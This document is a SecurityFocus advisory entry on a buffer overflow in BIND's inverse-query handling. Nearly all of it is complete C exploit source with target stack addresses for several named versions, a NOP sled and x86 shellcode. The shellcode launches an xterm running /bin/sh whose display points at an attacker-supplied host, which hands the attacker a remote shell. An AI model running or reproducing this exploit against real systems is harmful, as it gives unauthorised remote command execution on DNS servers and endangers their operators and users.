source: http://www.securityfocus.com/bid/134/info
 
A buffer overflow exists in certain versions of BIND, the nameserver daemon currently maintained by the Internet Software Consortium (ISC). BIND fails to properly bound the data recieved when processing an inverse query. Upon a memory copy, portions of the program can be overwritten, and arbitrary commands run on the affected host.
 
Exploits for this vulnerability are very widespread, and were posted to the Bugtraq mailing list.

/*
 * z, thnx.
 * ganked the xterm exec from adm, thnx.
 * have fun.
 * -prym
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>

#define REMOTE
#define DEFAULT_ANBUF_OFFSET 300
#define DEFAULT_TARGET 0
#define DEFAULT_OPTIMIZED 0
#define DLEN_VAL 4
#define PRE_OF_DATALEN (1+(sizeof(short)*3)+sizeof(long))
#define ALEN_VAL (DLEN_VAL+PRE_OF_DATALEN)
#define EVILSPACE (PACKETSZ-PRE_OF_DATALEN)
#define RET_FROM_1NOP (PACKETSZ+(MAXDNAME+3)+(sizeof(int)*6)+4-PRE_OF_DATALEN)
#define OPT_RET_FROM_1NOP (PACKETSZ+(MAXDNAME+3)+4-PRE_OF_DATALEN)

struct target_type
{
  char desc[40];
  int systype;
  unsigned long addr;
  unsigned long opt_addr;
};

struct target_type target[] =
{
  {"x86 Linux 2.0.x named 4.9.5-P1",0,0xbfffef8c,0xbfffefb4},
  {"x86 Linux 2.0.x named 4.9.6-REL",0,0xbffff188,0xbffff194},
  {"x86 Linux 2.0.x named 8.1-REL",0,0xbffff3f0,0xbffff44c},
  {"x86 Linux 2.0.x named 8.1.1",0,0xbffff404,0xbffff45c},
  {"x86 Linux 2.0.x RH 4.2 named 4.9.5-P1",0,0,0xbfffeff8},
  {{0},0,0,0}
};

unsigned long resolve(char *host)
{
  long i;
  struct hostent *he;

  if((i=inet_addr(host))<0)
    if((he=gethostbyname(host))==NULL)
      return(0);
    else
      return(*(unsigned long *)he->h_addr);

  return(i);
}

int send_packet(int fd, char *buff, int len)
{
  char tmp[2], *ptr=tmp;

  PUTSHORT(len,ptr);
  if(write(fd,tmp,2)!=2)
    return(-1);

  if(write(fd,buff,len)!=len)
    return(-1);

  return(1);
}

int attack(int fd, struct in_addr us, struct target_type t,
	   unsigned long offset, int optimized)
{
  char buff[sizeof(HEADER)+PRE_OF_DATALEN+RET_FROM_1NOP+4], *ptr=buff;
  HEADER *dnsh=(HEADER *)buff;
  unsigned long i;
  int dlen, len=0, al=ALEN_VAL, dl=DLEN_VAL;

  memset(dnsh,0,sizeof(HEADER));
  dnsh->id = htons(31337);
  dnsh->opcode = IQUERY;
  dnsh->rd = 1;
  dnsh->ra = 1;
  dnsh->ancount = htons(1);
  ptr += sizeof(HEADER);
  len += sizeof(HEADER);

  *ptr = '\0';
  ptr++;
  PUTSHORT(T_A,ptr);
  PUTSHORT(C_IN,ptr);
  PUTLONG(31337,ptr);
  dlen = (optimized?OPT_RET_FROM_1NOP:RET_FROM_1NOP)+4;
  PUTSHORT(dlen,ptr);
  len += PRE_OF_DATALEN;

  memset(ptr,'X',(sizeof(buff)-(ptr-buff)));

  if(t.systype==0)
    {
#ifdef REMOTE
      char c1[] =
	"\xeb\x2f\x5f\xeb\x4a\x5e\x89\xfb\x89\x3e\x89\xf2\xb0\xfe\xae\x74"
	"\x14\x46\x46\x46\x46\x4f\x31\xc9\x49\xb0\xff\xf2\xae\x30\xc0\x4f"
	"\xaa\x89\x3e\xeb\xe7\x31\xc0\x89\x06\x89\xd1\x31\xd2\xb0\x0b\xcd"
	"\x80\xe8\xcc\xff\xff\xff";
      char c2[] =
	"/usr/bin/X11/xterm\xff-display\xff";
      char c3[32];
      char c4[] =
	"\xfe\xe8\xb1\xff\xff\xff";

      snprintf(c3,sizeof(c3),"%s:0\xff-e\xff/bin/sh\xff",inet_ntoa(us));

      c1[4] = (unsigned char)0x32+strlen(c2)+strlen(c3);
      c4[2] = (unsigned char)0xc9-strlen(c2)-strlen(c3);

      i = EVILSPACE-strlen(c1)-strlen(c2)-strlen(c3)-strlen(c4);

      memset(ptr,0x90,i);
      memcpy((ptr+i),c1,strlen(c1));
      memcpy((ptr+i+strlen(c1)),c2,strlen(c2));
      memcpy((ptr+i+strlen(c1)+strlen(c2)),c3,strlen(c3));
      memcpy((ptr+i+strlen(c1)+strlen(c2)+strlen(c3)),c4,strlen(c4));
#else
      char c0de[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
        "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
        "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hi";
      int i = EVILSPACE-strlen(c0de);

      memset(ptr,0x90,i);
      memcpy((ptr+i),c0de,strlen(c0de));
#endif
    }
  else
    return(0);

  if(!optimized)
    {
      memcpy((ptr+(dlen-16)),&al,sizeof(al));
      memcpy((ptr+(dlen-12)),&dl,sizeof(dl));
    }

  i = (optimized?t.opt_addr:t.addr)+offset;
  memcpy((ptr+(dlen-4)),&i,sizeof(i));
  len += dlen;

  return(send_packet(fd,buff,len));
}

int main(int argc, char *argv[])
{
  unsigned long offset=DEFAULT_ANBUF_OFFSET;
  int target_index=DEFAULT_TARGET, optimized=DEFAULT_OPTIMIZED, sock, i;
  struct sockaddr_in sa;
  struct in_addr xs;

  for(i=0;target[i].desc[0];i++);

  if(argc<3)
    {
      fprintf(stderr,"\ntarget types:\n");
      fprintf(stderr," %-2s : %-12s - %-12s - %s\n","tt","anbuf","opt anbuf",
	      "description");
      for(target_index=0;target_index<i;target_index++)
	fprintf(stderr," %-2d : 0x%-10x - 0x%-10x - %s\n",target_index,
		(unsigned int)target[target_index].addr,
		(unsigned int)target[target_index].opt_addr,
		target[target_index].desc);
      fprintf(stderr,
	      "\nerror: usage: %s <target> <X server> [tt] [opt] [offset]\n",
	      argv[0]);
      exit(-1);
    }

  if((argc>3)&&((target_index=atoi(argv[3]))>=i))
    {
      fprintf(stderr,"error: invalid target type %d\n",target_index);
      exit(-1);
    }

  if((target[target_index].addr==0)&&(target[target_index].opt_addr==0))
    {
      fprintf(stderr,"error: internal error\n");
      exit(-1);
    }

  if(argc>4)
    {
      optimized = atoi(argv[4]);
      if((optimized!=0)&&(optimized!=1))
	{
	  fprintf(stderr,"error: invalid optimization setting %d\n",optimized);
	  exit(-1);
	}
    }

  if((optimized==0)&&(target[target_index].addr==0))
    optimized = 1;

  if((optimized==1)&&(target[target_index].opt_addr==0))
    optimized = 0;

  if(argc>5)
    offset = atoi(argv[5]);

  if(!(xs.s_addr=resolve(argv[2])))
    {
      fprintf(stderr,"error: can not resolve: %s\n",argv[2]);
      exit(-1);
    }

  if(!(sa.sin_addr.s_addr=resolve(argv[1])))
    {
      fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
      exit(-1);
    }

  sa.sin_family = AF_INET;
  sa.sin_port = htons(53);

  if((sock=socket(sa.sin_family,SOCK_STREAM,IPPROTO_TCP))==(-1))
    {
      perror("error: socket");
      exit(-1);
    }

  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1))
    {
      perror("error: connect");
      exit(-1);
    }

  printf("target             : %s\n",inet_ntoa(sa.sin_addr));
  printf("target type        : %s\n",target[target_index].desc);
  printf("optimized named    : %s\n",(optimized?"YES":"NO"));
  printf("anbuff addr        : 0x%x\n",(unsigned int)
	 (optimized?target[target_index].opt_addr:target[target_index].addr));
  printf("anbuff addr offset : %lu\n",offset);
  printf("xterm display dest : %s:0\n",inet_ntoa(xs));
  printf("exploiting . . .\n");

  switch(attack(sock,xs,target[target_index],offset,optimized))
    {
    case -1:
      perror("error: attack");
      return(-1);
      break;

    case 0:
      fprintf(stderr,"error: internal error\n");
      return(-1);
      break;
    }

  if(close(sock)!=0)
    {
      perror("error: close");
      return(-1);
    }

  exit(0);
}